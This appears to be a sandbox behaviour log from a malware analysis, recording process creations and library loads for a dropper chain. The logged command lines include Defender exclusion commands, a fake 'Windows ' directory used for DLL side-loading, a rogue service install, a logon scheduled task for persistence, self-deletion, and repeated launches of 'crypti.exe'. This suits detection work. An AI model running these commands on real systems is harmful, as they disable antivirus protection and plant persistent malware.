Source: C:\Users\user\Desktop\pyld64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\pyld64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x543664
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn "console_zero" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\crypti.exe "c:\windows\system32\crypti.exe"

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pyld64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pyld64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\usvcinsta64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows \System32\printui.exe	Section loaded: uxtheme.dll
Source: C:\Windows \System32\printui.exe	Section loaded: printui.dll
Source: C:\Windows \System32\printui.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
